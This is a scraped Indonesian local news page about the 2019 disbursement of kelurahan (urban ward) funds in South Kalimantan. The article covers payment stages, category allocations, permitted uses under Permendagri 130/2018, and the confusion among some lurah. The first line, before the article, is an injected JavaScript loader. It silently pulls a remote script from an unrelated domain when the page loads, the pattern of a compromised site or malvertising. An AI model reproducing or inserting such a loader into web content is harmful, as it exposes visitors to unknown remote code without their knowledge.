(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dana Kelurahan Cair Bulan Depan, Tapi Masih Ada Lurah yang Belum Ngerti


BANJARBARU, Dana kelurahan Tahap I paling lambat akan digelontorkan pemerintah pada Mei 2019. Hal ini disampaikan Direktur Fasilitasi Dana Perimbangan dan Pinjaman Daerah pada Kementerian Dalam Negeri (Kemendagri) Mochammad Ardian saat menjadi narasumber dalam Rakor Perangkat Daerah Provinsi Kalsel bertemakan Implementasi Dana Kelurahan, di Aula Dinas Pendidikan Kalsel, Kamis (11/4).

“Untuk tahap pertama (dana kelurahan) paling lambat dicairkan pada pekan kedua Mei,” ujarnya.

Dia mengungkapkan, pada tahap pertama dana desa yang cair sebesar Rp 1,5 triliun atau 50 persen dari alokasi dana kelurahan yang berada di dalam Dana Alokasi Umum (DAU) sebesar Rp 3 triliun.

Diungkapkan Mochammad Adrian, untuk sisanya naantikan akan dicairkan pada tahap kedua di pertengahan tahun 2019. “Tahap kedua paling lambat Agustus,” ungkapnya.

Perlu diketahui dalam setiap kelurahan yang menerima dana masing-masing disesuaikan dengan kategorinya. Kriteria pertama yakni, kategori baik (Ketegori I) yang dialokasikan untuk 2.805 kelurahan pada 91 kota di Indonesia dengan alokasi Rp 352,9 juta per kelurahan.

Lalu, ada ketegori perlu ditingkatkan (Kategori II) yang dialokasikan untuk 4.782 kelurahan pada 257 kota dengan alokasi Rp 370,1 juta per kelurahan. Dan ketiga, kategori sangat perlu ditingkatkan (Kategori III) yang dialokasikan untuk 625 kelurahan pada 62 kota dengan alokasi Rp 384 juta per kelurahan.

Sistem penyaluran dana sendiri, yakni dari rekening kas umum negara (RKUN) ke rekening kas umum daerah (RKUD). Kemudian, ditransfer ke rekening kecamatan. Dari sana, baru ke kelurahan. “Berbeda dengan dana desa yang langsung ke RKUDEs. Kalau, dana kelurahan bertahap ke kas daerah dulu,” lanjut Ardian.

Mengenai penggunanaan dana kelurahan, Direktur Dekonsentrasi Tugas Pembantuan dan Kerjasama Kemendagri, Sugiarto  menjelaskan, dana dapat digunakan untuk berbagai hal diantaranya pembangunan sarana dan prasarana kelurahan, serta pemberdayaan masyarakat di kelurahan.

Hal tersebut mengacu pada Permendagri Nomor 130 Tahun 2018 yang mengatur dua substansi pokok, yaitu pembangunan sarana dan prasarana kelurahan dan pemberdayaan masyarakat di kelurahan sebagai pedoman pengelolaan kegiatan yang bersumber dari dana kelurahan untuk tahun anggaran 2019.

“Untuk penentuan kegiatan pembangunan sarana dan prasarana kelurahan dan pemberdayaan masyarakat di kelurahan dilakukan melalui musyawarah pembangunan kelurahan,” ujarnya.

Dipaparkan, kegiatan pembangunan sarana dan prasaranan kelurahan digunakan untuk membiayai pelayanan sosial dasar yang berdampak langsung pada peningkatan kualitas hidup masyarakat, yang meliputi pengadaan, pembangunan, pengembangan dan pemeliharaan sarana dan prasarana lingkungan pemukiman, transportasi, kesehatan, pendidikan dan kebudayaan .

Untuk pemberdayaan masyarakat yang ada di kelurahan, digunakan untuk peningkatan kapasitas dan kapabilitas masyarakat di kelurahan dengan mendayagunakan potensi sumber daya sendiri. Meski sudah ada petunjuk penggunaan melalui Permendagri, akan tetapi sejumlah kelurahan ternyata masih bingung dengan teknis pelaksanaannya.

“Iya ada beberapa Lurah datang ke kami bertanya teknis penggunaan dana. Untuk itu kami gelar rapat koordinasi implementasi dana kelurahan ini,” kata Kabag Pengembangan Kapasitas Pemerintahan Daerah pada Biro Pemerintahan Setdaprov Kalsel, Maman Suherman. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

13 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

14 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

14 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

15 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

16 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

19 jam ago

This website uses cookies.